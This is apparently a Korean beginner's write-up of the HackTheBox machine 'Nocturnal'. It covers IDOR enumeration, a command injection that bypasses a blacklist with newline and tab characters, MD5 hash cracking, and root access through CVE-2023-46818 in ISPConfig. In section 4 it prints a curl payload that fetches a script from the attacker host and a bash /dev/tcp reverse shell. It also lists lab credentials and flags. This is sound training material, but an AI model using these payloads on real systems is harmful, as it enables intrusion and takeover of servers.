본문 바로가기
CTF/HTB

Nocturnal

Nocturnal — HackTheBox Write-up

Platform HackTheBox
Difficulty Easy
OS Linux
Target IP 타겟 IP
Author FisMatHack

이 글을 읽기 전에

이 라이트업은 HTB(HackTheBox) 입문자를 위해 작성되었습니다.
단순히 "어떻게 풀었는가"를 넘어 "왜 이렇게 하는가" 를 함께 설명합니다.
처음 접하는 개념이 나올 때마다 아래처럼 설명 박스가 등장합니다.

💡 개념 설명 — 처음 보는 용어나 기술을 설명합니다.


전체 공격 흐름 요약

[1단계 정찰]   nmap으로 열린 포트 확인 → 22(SSH), 80(웹 서버)
       ↓
[2단계 열거]   웹사이트 탐색 → 파일 다운로드 기능에서 IDOR 발견
               → 다른 유저(amanda)의 파일 열람 → 패스워드 발견
       ↓
[3단계 침투]   admin 패널 접근 → Backup 기능 코드 분석
               → 블랙리스트 우회 → 리버스 쉘 획득 (www-data)
       ↓
[4단계 이동]   DB 파일에서 tobias 해시 크래킹 → SSH 접속 → user.txt
       ↓
[5단계 권한상승] 내부 포트 8080 발견 → ISPConfig 패널
                → CVE-2023-46818 익스플로잇 → root → root.txt

목차

  1. 환경 설정
  2. 정찰 — Nmap
  3. 열거 — 웹 애플리케이션 분석
  4. 침투 — 리버스 쉘 획득
  5. 횡적 이동 — tobias 계정 탈취
  6. 권한 상승 — Root 획득
  7. 플래그
  8. 마무리 정리

사용 도구

도구 역할
nmap 열린 포트와 서비스를 스캔하는 도구
ffuf 특정 파라미터에 단어 목록을 대입해 유효한 값을 찾는 퍼징 도구
burpsuite 브라우저와 서버 사이에서 HTTP 요청을 가로채고 수정하는 프록시 도구
netcat (nc) 네트워크 연결을 열고 닫는 도구. 리버스 쉘 수신에 사용
python3 -m http.server 현재 폴더를 웹 서버로 임시 호스팅하는 명령
sqlite3 SQLite 데이터베이스 파일을 열고 쿼리하는 도구
hashcat 해시(암호화된 패스워드)를 크래킹하는 도구
ssh -L SSH를 통해 포트를 포워딩(터널링)하는 기능

1. 환경 설정

타겟 정보 정리

Target IP   : 타겟 IP      ← 공격 대상 머신
Attacker IP : 공격자 VPN IP        ← 본인 HTB VPN IP (ifconfig tun0으로 확인)
Hostname    : nocturnal.htb      ← 이후 스캔에서 발견

💡 HTB VPN이란?
HackTheBox 머신은 인터넷에 직접 연결되어 있지 않습니다.
HTB에서 제공하는 VPN에 접속해야만 타겟 머신과 통신할 수 있습니다.
OpenVPN 파일을 다운로드한 뒤 sudo openvpn <파일명>.ovpn 으로 연결합니다.


2. 정찰 — Nmap

💡 정찰(Reconnaissance)이란?
공격을 시작하기 전에 타겟에 대한 정보를 수집하는 단계입니다.
"어떤 서비스가 열려 있는가"를 파악해야 그 다음 공격 방향을 정할 수 있습니다.

2-1. 전체 포트 스캔

우선 1~65535번 전체 포트 중 어떤 포트가 열려 있는지 빠르게 확인합니다.

ports=$(nmap -p- --min-rate=1000 -T4 타겟 IP \
  | grep '^[0-9]' \
  | cut -d '/' -f 1 \
  | tr '\n' ',' \
  | sed s/,$//)

💡 명령어 설명

옵션 의미
-p- 1번부터 65535번까지 전체 포트 스캔
--min-rate=1000 초당 최소 1000개 패킷을 보내 속도를 높임
-T4 스캔 속도 템플릿. T1(느림) ~ T5(매우 빠름) 중 T4 선택
grep '^[0-9]' 숫자로 시작하는 줄만 필터링 (포트 정보가 있는 줄)
cut -d '/' -f 1 22/tcp 에서 / 기준으로 앞부분(22)만 추출
tr '\n' ',' 줄바꿈을 쉼표로 바꿔 22,80 형태로 만들기

이 명령으로 열린 포트 번호(22,80)가 $ports 변수에 저장됩니다.

2-2. 상세 서비스 스캔

열린 포트만 대상으로 어떤 서비스인지 정확히 파악합니다.

nmap -p$ports -sC -sV 타겟 IP -oN nmap/detailed.txt

💡 명령어 설명

옵션 의미
-p$ports 앞서 찾은 포트만 스캔
-sC 기본 스크립트 실행 (배너 정보, 취약점 힌트 등 자동 수집)
-sV 서비스 버전 탐지
-oN nmap/detailed.txt 결과를 파일로 저장 (나중에 참고할 수 있도록)

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal

2-3. 결과 해석

Port Service 지금 당장 가능한 것
22/tcp SSH 로그인 크레덴셜이 없으므로 보류
80/tcp 웹 서버(nginx) 브라우저로 접속해서 탐색 시작

💡 nginx란?
Apache와 함께 가장 많이 쓰이는 웹 서버 소프트웨어입니다.
클라이언트(브라우저)의 요청을 받아 웹 페이지를 전달하는 역할을 합니다.

2-4. /etc/hosts 등록

브라우저로 http://타겟 IP 에 접속하면 http://nocturnal.htb 로 자동 이동됩니다.
이 도메인이 어디를 가리키는지 컴퓨터가 모르기 때문에 직접 알려줘야 합니다.

echo "타겟 IP nocturnal.htb" | sudo tee -a /etc/hosts

💡 /etc/hosts란?
DNS 서버에 물어보기 전에 컴퓨터가 먼저 참고하는 주소록 파일입니다.
nocturnal.htb타겟 IP 이라는 규칙을 여기에 추가하면
브라우저가 nocturnal.htb 를 타겟 IP로 연결합니다.


3. 열거 — 웹 애플리케이션 분석

💡 열거(Enumeration)란?
접근 가능한 서비스에서 더 많은 정보를 수집하는 단계입니다.
어떤 페이지가 있는지, 어떤 파라미터를 받는지, 어떤 기능을 제공하는지 파악합니다.

3-1. 웹사이트 구조 파악

http://nocturnal.htb 에 접속하면 파일 업로드/공유 서비스가 나타납니다.
계정을 생성하고 로그인하면 아래 페이지들을 확인할 수 있습니다.

URL 설명
/dashboard.php 파일 업로드, 본인 파일 목록
/view.php?username=&file= 파일 뷰어 / 다운로드
/admin.php 관리자 전용 패널 (일반 계정은 접근 불가)

3-2. 파일 업로드 기능 테스트

PHP 파일(.php)을 업로드하면 다음 오류가 나타납니다.

Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.

더미 PDF 파일은 정상 업로드됩니다.

echo test > test.pdf
# → 업로드 성공

업로드 성공 후 다운로드 링크를 확인하면 구조가 보입니다.

http://nocturnal.htb/view.php?username=myuser&file=test.pdf

💡 URL 파라미터란?
URL에서 ? 뒤에 오는 key=value 형식의 데이터입니다.
username=myuser 는 "myuser의 파일을 보여줘"라는 뜻이고,
file=test.pdf 는 "test.pdf 파일을 요청해"라는 뜻입니다.

3-3. IDOR 취약점 발견

username 파라미터 값을 다른 이름으로 바꾸면 어떻게 될까요?

# 존재하지 않는 유저로 변경
http://nocturnal.htb/view.php?username=nobody&file=test.pdf
→ "User not found."   (응답 크기: 2985 바이트)

# 존재하는 유저로 변경
http://nocturnal.htb/view.php?username=amanda&file=test.pdf
→ amanda의 파일 목록 출력  (응답 크기: 3113 바이트)

💡 IDOR (Insecure Direct Object Reference)란?
서버가 "이 파라미터를 요청하는 사람이 실제로 권한이 있는가"를
확인하지 않고 요청을 그대로 처리하는 취약점입니다.

쉽게 말해, URL에서 username=나username=amanda 로 바꿨을 때
서버가 "너는 amanda가 아닌데 왜 amanda 파일을 요청하냐"고 거부해야 하는데
그냥 amanda의 파일 목록을 돌려주는 상황입니다.

3-4. ffuf로 유저 이름 열거

응답 크기 차이를 이용해서 등록된 유저를 자동으로 찾아냅니다.
존재하지 않는 유저의 응답 크기가 2985 이므로, 그 크기를 제외(-fs)하고 퍼징합니다.

ffuf \
  -u "http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf" \
  -w /usr/share/wordlists/seclists/Usernames/Names/names.txt \
  -H "Cookie: PHPSESSID=<SESSION_ID>" \
  -fs 2985

💡 명령어 설명

옵션 의미
-u "...FUZZ..." FUZZ 위치에 단어 목록을 하나씩 대입
-w 대입할 단어 목록(워드리스트) 파일 경로
-H "Cookie: ..." 로그인 상태를 유지하기 위해 세션 쿠키 전달
-fs 2985 응답 크기가 2985인 결과는 필터링 (유저 없음 = 정상 응답이므로 제외)

amanda   [Status: 200, Size: 3113, Words: 1175, Lines: 129]

amanda 유저의 응답 크기가 달라졌습니다 → 업로드된 파일이 있다는 의미입니다.

3-5. amanda 파일 다운로드 → 크레덴셜 획득

# amanda의 파일 목록 확인
http://nocturnal.htb/view.php?username=amanda&file=test.pdf
# → Available files: privacy.odt
# privacy.odt 파일 다운로드
curl -s "http://nocturnal.htb/view.php?username=amanda&file=privacy.odt" \
  -H "Cookie: PHPSESSID=<SESSION_ID>" \
  -o privacy.odt

💡 curl이란?
터미널에서 HTTP 요청을 보내는 명령줄 도구입니다.
브라우저 없이도 웹 페이지를 요청하거나 파일을 다운로드할 수 있습니다.
-H 는 헤더 추가, -o 는 출력 파일 지정입니다.

.odt 파일은 내부가 ZIP 구조로 되어 있어서 압축을 풀면 내용을 볼 수 있습니다.

unzip privacy.odt -d privacy_odt
cat privacy_odt/content.xml
Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J.
This password has been set for all our services...

크레덴셜 #1 획득

계정 패스워드
amanda arHkG7HAI68X8s1J


4. 침투 — 리버스 쉘 획득

⚠️ 주의: 아래 기술은 허가된 환경(HTB, CTF 등)에서만 사용합니다.

4-1. amanda 로그인 → Admin 패널

amanda / arHkG7HAI68X8s1J 로 로그인하면 대시보드 상단에 Go to Admin Panel 버튼이 나타납니다.

Admin 패널(/admin.php)에서 두 가지 기능을 확인할 수 있습니다.

  • File Structure — 서버에 있는 PHP 파일의 소스코드를 볼 수 있음
  • Create Backup — 패스워드를 입력하면 백업 ZIP 파일을 생성

4-2. Backup 기능 테스트 — 어떻게 동작하는가

더미 패스워드로 백업을 생성하면 아래와 같은 zip 명령 출력이 화면에 나타납니다.

adding: admin.php (deflated 67%)
adding: dashboard.php (deflated 57%)
adding: nocturnal_database.db (deflated 97%)
...

이 출력은 zip 명령이 실제로 서버에서 실행되고 있다는 증거입니다.
입력한 패스워드가 zip 명령의 인자로 직접 들어간다면 커맨드 인젝션 이 가능할 수 있습니다.

# 세미콜론으로 명령을 추가해서 테스트
password 입력: testpass; id

→ "Error: Try another password."   # 필터링 있음 확인

💡 커맨드 인젝션(Command Injection)이란?
사용자 입력값이 서버의 쉘 명령어로 실행될 때 발생하는 취약점입니다.
예를 들어 서버가 zip -P [사용자입력] ... 을 실행할 때
사용자 입력에 ;id 를 넣으면 zip -P testpass; id ... 로 바뀌어
서버에서 id 명령이 추가 실행됩니다.

4-3. 소스코드 분석 — 필터 우회법 찾기

Admin 패널 File Structure 에서 admin.php 를 클릭해 소스코드를 확인합니다.

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false;
        }
    }
    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

// 사용자 입력(password)이 명령어에 직접 삽입됨
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";

차단된 문자들을 확인해 보면 개행(\n)과 탭(\t)이 블랙리스트에 없습니다.

문자 URL 인코딩 차단 여부 활용
; & | $ ` ✅ 차단
공백(스페이스) %20 ✅ 차단
개행(\n) %0a 미차단 zip 명령 줄을 끊고 새 명령 삽입
탭(\t) %09 미차단 공백 대신 단어 구분자로 사용

💡 URL 인코딩이란?
URL에서 사용할 수 없는 특수문자를 %XX 형식으로 변환하는 방법입니다.
예를 들어 개행 문자는 %0a, 탭 문자는 %09 로 표현합니다.
서버는 이 값을 받아 다시 원래 문자로 디코딩해서 처리합니다.

페이로드 구조:

kavi %0a curl %09 http://공격자 VPN IP/shell %09 -o %09 /tmp/shell
     ↑         ↑                                ↑
   개행으로   탭으로 공백 대체              탭으로 공백 대체
  zip 종료,
  새 명령 시작

4-4. 리버스 쉘 준비

💡 리버스 쉘(Reverse Shell)이란?
타겟 서버가 먼저 공격자의 컴퓨터로 연결을 시작해서
공격자가 서버의 명령줄을 원격으로 제어할 수 있게 하는 기법입니다.
방화벽이 외부에서 들어오는 연결은 막아도, 서버에서 나가는 연결은 허용하는 경우가 많기 때문에 자주 사용됩니다.

# 리버스 쉘 스크립트 생성 (공격자 컴퓨터에서 실행)
echo "bash -c 'bash -i >& /dev/tcp/공격자 VPN IP/4193 0>&1'" > shell

# 타겟이 다운로드할 수 있도록 임시 웹 서버 실행
sudo python3 -m http.server 80

별도 터미널에서 연결을 기다리는 리스너를 실행합니다.

nc -lvnp 4193

💡 명령어 설명

옵션 의미
-l Listen 모드 (연결을 기다림)
-v Verbose (연결 상태를 자세히 출력)
-n DNS 조회 없이 IP만 사용
-p 4193 4193번 포트에서 대기

4-5. Burpsuite — 2단계 페이로드 전송

Burpsuite를 켜고 Admin 패널에서 Create Backup 버튼을 클릭한 뒤 요청을 인터셉트합니다.

💡 Burpsuite 인터셉트란?
브라우저와 서버 사이에 Burpsuite를 끼워 넣어서
전송 직전의 HTTP 요청을 가로채고 내용을 수정한 뒤 서버로 보내는 기능입니다.
브라우저에서 직접 수정하기 어려운 파라미터(예: 개행 문자 삽입)를 조작할 때 유용합니다.

Stage 1 — 타겟 서버에서 shell 스크립트 다운로드

인터셉트된 요청의 password 파라미터를 아래 값으로 교체합니다.

password=kavi%0acurl%09http://공격자 VPN IP/shell%09-o%09/tmp/shell&backup=

공격자 HTTP 서버에서 아래 로그가 보이면 성공입니다.

타겟 IP - - [21/Mar/2025 04:10:19] "GET /shell HTTP/1.1" 200 -

Stage 2 — 다운로드한 스크립트 실행

password=kavi%0abash%09/tmp/shell&backup=

4-6. 리버스 쉘 수신 및 안정화

nc 리스너 창에서 연결이 들어옵니다.

listening on [any] 4193 ...
connect to [공격자 VPN IP] from (UNKNOWN) [타겟 IP] 54321

www-data@nocturnal:~/nocturnal.htb$

www-data 권한으로 서버 쉘 획득

쉘을 더 편리하게 사용하기 위해 안정화합니다.

script -q /dev/null -c bash

💡 쉘 안정화란?
처음 획득한 리버스 쉘은 기능이 제한적입니다.
(방향키가 안 먹히거나, Ctrl+C를 누르면 연결이 끊기거나)
script 명령으로 더 완전한 터미널 환경을 만들 수 있습니다.


5. 횡적 이동 — tobias 계정 탈취

💡 횡적 이동(Lateral Movement)이란?
이미 침투한 계정(www-data)의 권한으로는 목표(user.txt, root.txt)에 접근하기 어렵습니다.
같은 시스템에서 더 높은 권한을 가진 다른 계정으로 전환하는 과정을 횡적 이동이라고 합니다.

5-1. DB 파일 발견

현재 위치(웹 루트)의 파일 목록을 확인합니다.

www-data@nocturnal:~/nocturnal.htb$ ls -la
-rw-r--r-- 1 www-data www-data 20480 Mar 21 08:00 nocturnal_database.db
-rw-r--r-- 1 www-data www-data  4096 Mar 21 07:00 admin.php
...

발견: 웹 루트에 nocturnal_database.db SQLite 데이터베이스 파일이 있습니다.
웹 애플리케이션이 유저 정보를 저장하는 파일일 가능성이 높습니다.

5-2. SQLite DB 분석

sqlite3 nocturnal_database.db

💡 SQLite란?
소형 애플리케이션에서 자주 사용되는 경량 데이터베이스입니다.
별도의 서버 없이 파일 하나(*.db)가 데이터베이스 역할을 합니다.

sqlite> .tables
uploads  users

sqlite> SELECT * FROM users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d

유저 테이블에서 3명의 계정과 패스워드 해시를 확인했습니다.

💡 해시(Hash)란?
패스워드를 그대로 저장하면 DB가 유출됐을 때 바로 노출됩니다.
그래서 보통 패스워드를 해시 함수(MD5, bcrypt 등)로 변환한 값을 저장합니다.
여기서 보이는 32자리 16진수 값이 MD5 해시입니다.
해시 크래킹이란 해시 값을 거꾸로 원래 패스워드로 복원하는 작업입니다.

5-3. hashcat으로 MD5 해시 크래킹

amanda의 패스워드는 이미 알고 있으므로 tobias 해시만 크래킹합니다.

# 타겟 해시를 파일에 저장
echo -n "55c82b1ccd55ab219b3b109b07d5061d" > hash.txt

# hashcat으로 크래킹
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

💡 명령어 설명

옵션 의미
-m 0 해시 타입 지정. 0 = MD5
rockyou.txt 자주 쓰이는 패스워드 1400만 개가 담긴 워드리스트

hashcat은 워드리스트의 각 단어를 MD5로 변환한 뒤
타겟 해시와 비교하면서 일치하는 값을 찾아냅니다.

55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse

크레덴셜 #2 획득

계정 패스워드
tobias slowmotionapocalypse

5-4. SSH 접속 → user.txt

ssh tobias@nocturnal.htb
# 패스워드 입력: slowmotionapocalypse
tobias@nocturnal:~$ cat user.txt
8c2ce65e9b96cc3862e28722803010c8

User Flag 획득 🚩


6. 권한 상승 — Root 획득

💡 권한 상승(Privilege Escalation)이란?
현재 계정(tobias)에서 최고 관리자 권한(root)을 획득하는 단계입니다.
root 권한이 있어야 시스템의 모든 파일과 설정에 접근할 수 있습니다.

6-1. 내부에서 열린 서비스 확인

tobias@nocturnal:~$ ss -tlnp

💡 ss -tlnp 란?
현재 시스템에서 열려 있는 포트와 서비스 목록을 보여주는 명령입니다.
외부 nmap으로는 보이지 않는 내부 서비스(127.0.0.1에 바인딩된 것)도 확인됩니다.

옵션 의미
-t TCP 소켓만 표시
-l 리스닝(대기 중) 중인 소켓만 표시
-n 포트 번호를 그대로 표시 (서비스 이름으로 변환하지 않음)
-p 어떤 프로세스가 사용 중인지 함께 표시

State   Recv-Q  Send-Q  Local Address:Port
LISTEN  0       4096    127.0.0.1:8080       0.0.0.0:*
LISTEN  0       128     0.0.0.0:22           0.0.0.0:*
LISTEN  0       511     0.0.0.0:80           0.0.0.0:*

발견: 127.0.0.1:8080 — 서버 내부에서만 접근 가능한 서비스가 있습니다.
외부에서는 nmap으로도 보이지 않았던 포트입니다.

6-2. SSH 포트 포워딩으로 내부 서비스 접근

# 공격자 컴퓨터에서 실행
ssh -L 8080:127.0.0.1:8080 -N -vv tobias@nocturnal.htb

💡 SSH 포트 포워딩이란?
타겟 서버의 내부 포트를 공격자의 로컬 포트로 터널링하는 기능입니다.
위 명령을 실행하면 공격자 컴퓨터의 127.0.0.1:8080
타겟 서버의 127.0.0.1:8080 과 연결됩니다.
이제 공격자 브라우저에서 http://127.0.0.1:8080 을 열면
타겟의 내부 서비스에 접근할 수 있습니다.

옵션 의미
-L 8080:127.0.0.1:8080 로컬 8080을 타겟의 127.0.0.1:8080으로 포워딩
-N 명령 실행 없이 포트 포워딩만 유지

http://127.0.0.1:8080 접속 → ISPConfig 로그인 페이지 확인.

6-3. ISPConfig 로그인 및 버전 확인

admin / slowmotionapocalypse 로 로그인 시도 → 성공.

포인트: tobias의 패스워드가 ISPConfig 관리자 계정에도 동일하게 사용되고 있습니다.
새로운 서비스를 발견하면 기존에 확보한 크레덴셜을 반드시 교차 시도해 봐야 합니다.

로그인 후 Help → Version 확인.

ISPConfig Version: 3.2.10p1

💡 ISPConfig란?
Linux 서버에서 웹사이트, 이메일, DNS 등을 관리하는
오픈소스 호스팅 컨트롤 패널입니다.

6-4. CVE 검색 및 익스플로잇

버전을 확인했으면 알려진 취약점(CVE)을 검색합니다.

💡 CVE(Common Vulnerabilities and Exposures)란?
공개적으로 알려진 보안 취약점에 부여되는 고유 식별 번호입니다.
CVE-2023-46818 처럼 연도와 일련번호로 구성됩니다.
검색창에 ISPConfig 3.2.10p1 exploit CVE 를 검색하면 됩니다.

ISPConfig 3.2.10p1 에서 CVE-2023-46818 (PHP Code Injection) 발견.

항목 내용
CVE CVE-2023-46818
영향 버전 ISPConfig ≤ 3.2.10p1
내용 인증된 관리자가 PHP 코드를 서버에서 실행할 수 있는 취약점
결과 Root 권한으로 임의 명령 실행 가능
# PoC(개념 증명 코드) 다운로드
git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit.git
cd CVE-2023-46818-python-exploit

# 익스플로잇 실행
python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse

💡 PoC(Proof of Concept)란?
취약점이 실제로 동작한다는 것을 증명하는 코드입니다.
보안 연구자들이 발견한 취약점을 검증하기 위해 GitHub 등에 공개합니다.
HTB와 같은 허가된 환경에서 학습 목적으로 활용할 수 있습니다.

ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)

Root 권한 획득 🚩


7. 플래그

# User Flag (tobias 계정으로 SSH 접속 후)
tobias@nocturnal:~$ cat user.txt

# Root Flag (CVE-2023-46818 쉘에서)
ispconfig-shell# cat /root/root.txt
Flag
🚩 user.txt 8c2ce65e9b96cc3862e28722803010c8
🚩 root.txt 0a08155311776b7babfbb915dcc7925c

8. 마무리 정리

획득한 크레덴셜 전체 흐름

순서 계정 패스워드 어디서 얻었나 어디에 썼나
1 amanda arHkG7HAI68X8s1J IDOR → privacy.odt 평문 저장 웹 Admin 패널 접근
2 tobias slowmotionapocalypse SQLite DB MD5 해시 크래킹 SSH 접속 + ISPConfig admin

취약점 정리

# 취약점 왜 발생했나 어떻게 막을 수 있나
1 IDOR username 파라미터를 세션으로 검증하지 않음 서버에서 세션 ↔ DB 소유자를 대조해서 검증
2 평문 크레덴셜 저장 업로드 파일 안에 패스워드를 그대로 기재 파일에 크레덴셜 저장 금지, 보안 교육 실시
3 커맨드 인젝션 블랙리스트 방식 + 개행·탭 미차단 escapeshellarg() 사용 또는 화이트리스트 방식
4 크레덴셜 재사용 동일 패스워드를 여러 서비스에 사용 서비스마다 다른 패스워드 사용
5 미패치 소프트웨어 ISPConfig를 최신 버전으로 업데이트하지 않음 정기적인 보안 패치 적용

배운 점

  1. IDOR 는 단순히 URL 파라미터를 바꿔보는 것만으로 발견할 수 있습니다.
  2. 블랙리스트 필터는 우회 가능성이 높습니다. 개행·탭처럼 예상치 못한 문자가 허용되어 있는지 확인하세요.
  3. 새로운 서비스를 발견하면 이미 갖고 있는 크레덴셜을 반드시 재시도해 보세요.
  4. 소프트웨어 버전을 확인하면 공개된 CVE를 검색해볼 것.
  5. ss -tlnp내부에서만 열린 서비스를 반드시 확인하세요.

References


write-up by Elpam.k · elpam.log

'CTF > HTB' 카테고리의 다른 글

Planning [EASY]  (0) 2026.05.14
Tactics  (0) 2026.04.08
Ignition  (0) 2026.04.07
Pennyworth  (0) 2026.04.06
Funnel  (0) 2026.04.06

Discussion 0